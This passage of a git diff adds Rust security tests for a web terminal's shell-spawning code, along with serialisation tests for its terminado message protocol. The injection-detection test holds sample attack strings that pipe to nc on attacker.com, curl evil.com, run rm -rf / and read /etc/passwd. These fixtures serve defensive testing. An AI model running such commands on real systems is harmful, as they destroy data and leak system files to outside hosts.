{ + assert!( + !cmd.contains(' '), + "Command path '{}' should not contain spaces", + cmd + ); + } +} + +#[test] +fn test_command_path_canonical() { + // Command paths should be canonical (no double slashes, etc.) + let commands = vec!["/bin/sh", "/usr/bin/bash"]; + + for cmd in commands { + assert!( + !cmd.contains("//"), + "Command '{}' should not contain double slashes", + cmd + ); + } +} + +// ============================================================================ +// Environment Variable Security Tests +// ============================================================================ + +#[test] +fn test_term_env_var_sanitized() { + // TERM variable should be a safe, known value + let term_value = "xterm"; + + // Should not contain shell metacharacters + assert!(!term_value.contains(';')); + assert!(!term_value.contains('&')); + assert!(!term_value.contains('|')); + assert!(!term_value.contains('`')); + assert!(!term_value.contains('$')); + assert!(!term_value.contains('\n')); + assert!(!term_value.contains('\r')); +} + +#[test] +fn test_env_var_no_null_bytes() { + // Environment variables should not contain null bytes + let term_value = "xterm"; + assert!( + !term_value.contains('\0'), + "TERM variable should not contain null bytes" + ); +} + +#[test] +fn test_safe_term_values() { + // Only allow known-safe TERM values + let safe_terms = vec![ + "xterm", + "xterm-256color", + "screen", + "screen-256color", + "vt100", + "vt220", + "linux", + "alacritty", + ]; + + for term in safe_terms { + // Verify they are alphanumeric with hyphens only + assert!( + term.chars().all(|c| c.is_alphanumeric() || c == '-'), + "TERM value '{}' should only contain alphanumeric and hyphens", + term + ); + } +} + +// ============================================================================ +// Command Arguments Security Tests +// ============================================================================ + +#[test] +fn test_command_builder_no_shell_expansion() { + // Using Command::new prevents shell expansion + let cmd = "/bin/sh"; + let command = Command::new(cmd); + + // Command::new does not invoke a shell, so these would be literal arguments + // This is the safe way to spawn processes + let program = command.get_program(); + assert_eq!(program, cmd); +} + +#[test] +fn test_no_shell_command_string_execution() { + // We should never use sh -c "command string" pattern + // This test documents that we use Command::new, not shell strings + + let safe_command = "/bin/sh"; + + // Verify we're not constructing shell command strings + assert!(!safe_command.contains(" -c ")); + assert!(!safe_command.contains(" -e ")); +} + +#[test] +fn test_reject_command_injection_patterns() { + // These patterns indicate command injection attempts + let injection_attempts = vec![ + "/bin/sh; rm -rf /", + "/bin/bash && curl evil.com", + "/bin/sh | nc attacker.com 1234", + "/bin/bash `whoami`", + "/bin/sh $(cat /etc/passwd)", + ]; + + for attempt in injection_attempts { + // Any of these characters indicate shell injection + let has_injection = attempt.contains(';') + || attempt.contains('&') + || attempt.contains('|') + || attempt.contains('`') + || attempt.contains("$("); + + assert!( + has_injection, + "Should detect injection attempt in: {}", + attempt + ); + } +} + +// ============================================================================ +// Path Traversal Prevention Tests +// ============================================================================ + +#[test] +fn test_no_path_traversal_in_command() { + // Commands should not allow path traversal + let path_traversal_attempts = vec![ + "../../../bin/sh", + "/bin/../../../etc/passwd", + "./evil.sh", + "~/malicious.sh", + ]; + + for attempt in path_traversal_attempts { + assert!( + attempt.contains("..") || attempt.starts_with("./") || attempt.starts_with('~'), + "Path traversal attempt: {}", + attempt + ); + } +} + +#[test] +fn test_safe_command_paths_exist() { + // Common safe shell paths that should exist on most systems + let common_shells = vec!["/bin/sh"]; + + for shell in common_shells { + if Path::new(shell).exists() { + // Verify it's an absolute path + assert!(shell.starts_with('/'), "Shell path should be absolute"); + } + } +} + +// ============================================================================ +// Input Size Limits Tests +// ============================================================================ + +#[test] +fn test_command_path_reasonable_length() { + // Command paths should have reasonable length limits + let max_path_length = 4096; // Common PATH_MAX on Linux + let command = "/bin/sh"; + + assert!( + command.len() < max_path_length, + "Command path should be less than {} bytes", + max_path_length + ); +} + +#[test] +fn test_reject_excessively_long_paths() { + let excessive_path = "/".to_string() + &"a".repeat(10000); + + assert!( + excessive_path.len() > 4096, + "Test path should exceed reasonable limits" + ); + // In real code, we should reject paths this long +} + +// ============================================================================ +// Whitelist Validation Tests +// ============================================================================ + +#[test] +fn test_allowed_shells_whitelist() { + // Define a whitelist of allowed shells + let allowed_shells = vec![ + "/bin/sh", + "/bin/bash", + "/bin/zsh", + "/usr/bin/bash", + "/usr/bin/zsh", + "/bin/dash", + ]; + + // All allowed shells should be absolute paths + for shell in &allowed_shells { + assert!( + shell.starts_with('/'), + "Whitelisted shell '{}' must be absolute path", + shell + ); + } + + // All allowed shells should not contain dangerous characters + for shell in &allowed_shells { + assert!( + !shell.contains(';'), + "Whitelisted shell '{}' should not contain ';'", + shell + ); + assert!( + !shell.contains('&'), + "Whitelisted shell '{}' should not contain '&'", + shell + ); + } +} + +#[test] +fn test_validate_command_against_whitelist() { + let allowed_shells = ["/bin/sh", "/bin/bash", "/usr/bin/zsh"]; + + let test_command = "/bin/sh"; + assert!( + allowed_shells.contains(&test_command), + "Command should be in whitelist" + ); + + let dangerous_command = "/tmp/malicious.sh"; + assert!( + !allowed_shells.contains(&dangerous_command), + "Dangerous command should not be in whitelist" + ); +} + +// ============================================================================ +// Null Byte Injection Tests +// ============================================================================ + +#[test] +fn test_no_null_bytes_in_command() { + // Null bytes can truncate commands in some contexts + let safe_command = "/bin/sh"; + + assert!( + !safe_command.contains('\0'), + "Command should not contain null bytes" + ); +} + +#[test] +fn test_detect_null_byte_injection() { + // Test that we can detect null byte injection attempts + let injection = "/bin/sh\0malicious"; + + assert!( + injection.contains('\0'), + "Should detect null byte in command" + ); +} + +// ============================================================================ +// File Descriptor Security Tests +// ============================================================================ + +#[test] +fn test_no_file_descriptor_redirection_in_command() { + // Commands should not contain file descriptor redirections + let command = "/bin/sh"; + + assert!(!command.contains('>'), "No output redirection"); + assert!(!command.contains('<'), "No input redirection"); + assert!(!command.contains("2>&1"), "No stderr redirection"); +} + +// ============================================================================ +// Unicode and Special Character Tests +// ============================================================================ + +#[test] +fn test_command_ascii_only() { + // Command paths should be ASCII to avoid Unicode tricks + let safe_command = "/bin/sh"; + + assert!(safe_command.is_ascii(), "Command path should be ASCII only"); +} + +#[test] +fn test_no_control_characters_in_command() { + // Commands should not contain control characters + let safe_command = "/bin/sh"; + + for ch in safe_command.chars() { + assert!( + !ch.is_control() || ch == '\n' || ch == '\t', + "Command should not contain control character: {:?}", + ch + ); + } +} + +// ============================================================================ +// Symlink and Special File Tests +// ============================================================================ + +#[test] +fn test_command_not_in_tmp() { + // Commands should not be executed from /tmp (common malware location) + let command = "/bin/sh"; + + assert!( + !command.starts_with("/tmp/"), + "Should not execute commands from /tmp" + ); +} + +#[test] +fn test_command_not_in_user_writable_dirs() { + // Commands should not be in user-writable directories + let command = "/bin/sh"; + + let user_writable = vec!["/tmp/", "/var/tmp/", "/home/", "/Users/"]; + + for dir in user_writable { + if command.starts_with(dir) { + panic!("Command should not be in user-writable directory: {}", dir); + } + } +} + +// ============================================================================ +// Logging and Audit Tests +// ============================================================================ + +#[test] +fn test_command_execution_should_be_logged() { + // This test documents that command execution should be logged + // In the actual code, log::info! is used when spawning processes + let command = "/bin/sh"; + + // Verify command is loggable (no sensitive data, reasonable length) + assert!( + command.len() < 1024, + "Command should be short enough to log" + ); + assert!(command.is_ascii(), "Command should be safely loggable"); +} + +// ============================================================================ +// Integration with Command::new() Tests +// ============================================================================ + +#[test] +fn test_command_new_prevents_shell_expansion() { + // Document that Command::new does not invoke a shell + let cmd = Command::new("/bin/sh"); + + // Command::new takes a literal program path, no shell interpretation + assert_eq!(cmd.get_program(), "/bin/sh"); +} + +#[test] +fn test_command_args_separate_from_program() { + // Arguments should be passed separately, not in the program string + let mut cmd = Command::new("/bin/sh"); + cmd.arg("-c"); + cmd.arg("echo hello"); + + // This is safe because args are not shell-interpreted + assert_eq!(cmd.get_program(), "/bin/sh"); +} + +// ============================================================================ +// Summary Test: Complete Security Checklist +// ============================================================================ + +#[test] +fn test_command_security_checklist() { + let command = "/bin/sh"; + + // 1. Absolute path + assert!(command.starts_with('/'), "Must be absolute path"); + + // 2. No path traversal + assert!(!command.contains(".."), "No path traversal"); + + // 3. No shell metacharacters + assert!(!command.contains(';'), "No semicolons"); + assert!(!command.contains('&'), "No ampersands"); + assert!(!command.contains('|'), "No pipes"); + assert!(!command.contains('`'), "No backticks"); + assert!(!command.contains('$'), "No variable expansion"); + + // 4. No null bytes + assert!(!command.contains('\0'), "No null bytes"); + + // 5. ASCII only + assert!(command.is_ascii(), "ASCII only"); + + // 6. Reasonable length + assert!(command.len() < 256, "Reasonable length"); + + // 7. Not in user-writable directory + assert!(!command.starts_with("/tmp/"), "Not in /tmp"); + assert!(!command.starts_with("/var/tmp/"), "Not in /var/tmp"); + + // 8. No spaces (absolute path only) + assert!(!command.contains(' '), "No spaces in path"); + + println!("✓ Command '{}' passed all security checks", command); +} diff --git a/tests/terminado_tests.rs b/tests/terminado_tests.rs new file mode 100644 index 0000000..71afe28 --- /dev/null +++ b/tests/terminado_tests.rs @@ -0,0 +1,311 @@ +// Copyright (c) 2024 Jason Witty . +// All rights reserved. +// +// Unit tests for terminado.rs module + +use webterm::event::IO; +use webterm::terminado::TerminadoMessage; + +// ============================================================================ +// Serialization Tests +// ============================================================================ + +#[test] +fn test_serialize_resize() { + let msg = TerminadoMessage::Resize { rows: 25, cols: 80 }; + let json = serde_json::to_string(&msg).unwrap(); + assert_eq!(json, r#"["set_size",25,80]"#); +} + +#[test] +fn test_serialize_resize_large_dimensions() { + let msg = TerminadoMessage::Resize { + rows: 200, + cols: 300, + }; + let json = serde_json::to_string(&msg).unwrap(); + assert_eq!(json, r#"["set_size",200,300]"#); +} + +#[test] +fn test_serialize_resize_minimum() { + let msg = TerminadoMessage::Resize { rows: 1, cols: 1 }; + let json = serde_json::to_string(&msg).unwrap(); + assert_eq!(json, r#"["set_size",1,1]"#); +} + +#[test] +fn test_serialize_stdin() { + let msg = TerminadoMessage::Stdin(IO::from("hello world")); + let json = serde_json::to_string(&msg).unwrap(); + assert_eq!(json, r#"["stdin","hello world"]"#); +} + +#[test] +fn test_serialize_stdin_empty() { + let msg = TerminadoMessage::Stdin(IO::from("")); + let json = serde_json::to_string(&msg).unwrap(); + assert_eq!(json, r#"["stdin",""]"#); +} + +#[test] +fn test_serialize_stdin_special_chars() { + let msg = TerminadoMessage::Stdin(IO::from("tab\there\nnewline")); + let json = serde_json::to_string(&msg).unwrap(); + assert_eq!(json, r#"["stdin","tab\there\nnewline"]"#); +} + +#[test] +fn test_serialize_stdin_unicode() { + let msg = TerminadoMessage::Stdin(IO::from("Hello 世界 🚀")); + let json = serde_json::to_string(&msg).unwrap(); + assert_eq!(json, r#"["stdin","Hello 世界 🚀"]"#); +} + +#[test] +fn test_serialize_stdout() { + let msg = TerminadoMessage::Stdout(IO::from("output text")); + let json = serde_json::to_string(&msg).unwrap(); + assert_eq!(json, r#"["stdout","output text"]"#); +} + +#[test] +fn test_serialize_stdout_empty() { + let msg = TerminadoMessage::Stdout(IO::from("")); + let json = serde_json::to_string(&msg).unwrap(); + assert_eq!(json, r#"["stdout",""]"#); +} + +#[test] +fn test_serialize_stdout_multiline() { + let msg = TerminadoMessage::Stdout(IO::from("line1\nline2\nline3")); + let json = serde_json::to_string(&msg).unwrap(); + assert_eq!(json, r#"["stdout","line1\nline2\nline3"]"#); +} + +// ============================================================================ +// Deserialization Tests +// ============================================================================ + +#[test] +fn test_deserialize_resize() { + let json = r#"["set_size", 25, 80]"#; + let msg = TerminadoMessage::from_json(json).expect("Failed to parse"); + assert_eq!(msg, TerminadoMessage::Resize { rows: 25, cols: 80 }); +} + +#[test] +fn test_deserialize_resize_no_spaces() { + let json = r#"["set_size",25,80]"#; + let msg = TerminadoMessage::from_json(json).expect("Failed to parse"); + assert_eq!(msg, TerminadoMessage::Resize { rows: 25, cols: 80 }); +} + +#[test] +fn test_deserialize_resize_large() { + let json = r#"["set_size", 300, 500]"#; + let msg = TerminadoMessage::from_json(json).expect("Failed to parse"); + assert_eq!( + msg, + TerminadoMessage::Resize { + rows: 300, + cols: 500 + } + ); +} + +#[test] +fn test_deserialize_stdin() { + let json = r#"["stdin", "hello world"]"#; + let msg = TerminadoMessage::from_json(json).expect("Failed to parse"); + assert_eq!(msg, TerminadoMessage::Stdin(IO::from("hello world"))); +} + +#[test] +fn test_deserialize_stdin_empty() { + let json = r#"["stdin", ""]"#; + let msg = TerminadoMessage::from_json(json).expect("Failed to parse"); + assert_eq!(msg, TerminadoMessage::Stdin(IO::from(""))); +} + +#[test] +fn test_deserialize_stdin_special_chars() { + let json = r#"["stdin", "tab\there\nnewline"]"#; + let msg = TerminadoMessage::from_json(json).expect("Failed to parse"); + assert_eq!(msg, TerminadoMessage::Stdin(IO::from("tab\there\nnewline"))); +} + +#[test] +fn test_deserialize_stdin_unicode() { + let json = r#"["stdin", "Hello 世界 🚀"]"#; + let msg = TerminadoMessage::from_json(json).expect("Failed to parse"); + assert_eq!(msg, TerminadoMessage::Stdin(IO::from("Hello 世界 🚀"))); +} + +#[test] +fn test_deserialize_stdout() { + let json = r#"["stdout", "output text"]"#; + let msg = TerminadoMessage::from_json(json).expect("Failed to parse"); + assert_eq!(msg, TerminadoMessage::Stdout(IO::from("output text"))); +} + +#[test] +fn test_deserialize_stdout_empty() { + let json = r#"["stdout", ""]"#; + let msg = TerminadoMessage::from_json(json).expect("Failed to parse"); + assert_eq!(msg, TerminadoMessage::Stdout(IO::from(""))); +} + +// ============================================================================ +// Round-trip Tests (Serialize then Deserialize) +// ============================================================================ + +#[test] +fn test_roundtrip_resize() { + let original = TerminadoMessage::Resize { + rows: 40, + cols: 120, + }; + let json = serde_json::to_string(&original).unwrap(); + let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse"); + assert_eq!(original, parsed); +} + +#[test] +fn test_roundtrip_stdin() { + let original = TerminadoMessage::Stdin(IO::from("test input")); + let json = serde_json::to_string(&original).unwrap(); + let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse"); + assert_eq!(original, parsed); +} + +#[test] +fn test_roundtrip_stdout() { + let original = TerminadoMessage::Stdout(IO::from("test output")); + let json = serde_json::to_string(&original).unwrap(); + let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse"); + assert_eq!(original, parsed); +} + +// ============================================================================ +// Error Cases +// ============================================================================ + +#[test] +fn test_deserialize_invalid_json() { + let json = r#"not valid json"#; + let result = TerminadoMessage::from_json(json); + assert!(result.is_err()); +} + +#[test] +fn test_deserialize_not_array() { + let json = r#"{"type": "stdin", "data": "test"}"#; + let result = TerminadoMessage::from_json(json); + assert!(result.is_err()); +} + +#[test] +fn test_deserialize_empty_array() { + let json = r#"[]"#; + let result = TerminadoMessage::from_json(json); + assert!(result.is_err()); +} + +#[test] +fn test_deserialize_unknown_type() { + let json = r#"["unknown_type", "data"]"#; + let result = TerminadoMessage::from_json(json); + assert!(result.is_err()); +} + +#[test] +fn test_deserialize_stdin_wrong_length() { + let json = r#"["stdin"]"#; + let result = TerminadoMessage::from_json(json); + assert!(result.is_err()); +} + +#[test] +fn test_deserialize_stdin_too_many_elements() { + let json = r#"["stdin", "data", "extra"]"#; + let result = TerminadoMessage::from_json(json); + assert!(result.is_err()); +} + +#[test] +fn test_deserialize_stdout_wrong_length() { + let json = r#"["stdout"]"#; + let result = TerminadoMessage::from_json(json); + assert!(result.is_err()); +} + +#[test] +fn test_deserialize_resize_wrong_length() { + let json = r#"["set_size", 25]"#; + let result = TerminadoMessage::from_json(json); + assert!(result.is_err()); +} + +#[test] +fn test_deserialize_resize_missing_rows() { + let json = r#"["set_size"]"#; + let result = TerminadoMessage::from_json(json); + assert!(result.is_err()); +} + +#[test] +fn test_deserialize_resize_non_integer() { + let json = r#"["set_size", "25", "80"]"#; + let result = TerminadoMessage::from_json(json); + assert!(result.is_err()); +} + +#[test] +fn test_deserialize_stdin_non_string() { + let json = r#"["stdin", 123]"#; + let result = TerminadoMessage::from_json(json); + assert!(result.is_err()); +} + +#[test] +fn test_deserialize_type_not_string() { + let json = r#"[123, "data"]"#; + let result = TerminadoMessage::from_json(json); + assert!(result.is_err()); +} + +// ============================================================================ +// Edge Cases +// ============================================================================ + +#[test] +fn test_message_equality() { + let msg1 = TerminadoMessage::Stdin(IO::from("same")); + let msg2 = TerminadoMessage::Stdin(IO::from("same")); + let msg3 = TerminadoMessage::Stdin(IO::from("different")); + + assert_eq!(msg1, msg2); + assert_ne!(msg1, msg3); +} + +#[test] +fn test_message_clone() { + let original = TerminadoMessage::Resize { rows: 30, cols: 90 }; + let cloned = original.clone(); + assert_eq!(original, cloned); +} + +#[test] +fn test_resize_different_values() { + let msg1 = TerminadoMessage::Resize { rows: 25, cols: 80 }; + let msg2 = TerminadoMessage::Resize { rows: 30, cols: 90 }; + assert_ne!(msg1, msg2); +} + +#[test] +fn test_different_message_types_not_equal() { + let stdin = TerminadoMessage::Stdin(IO::from("test")); + let stdout = TerminadoMessage::Stdout(IO::from("test")); + assert_ne!(stdin, stdout); +}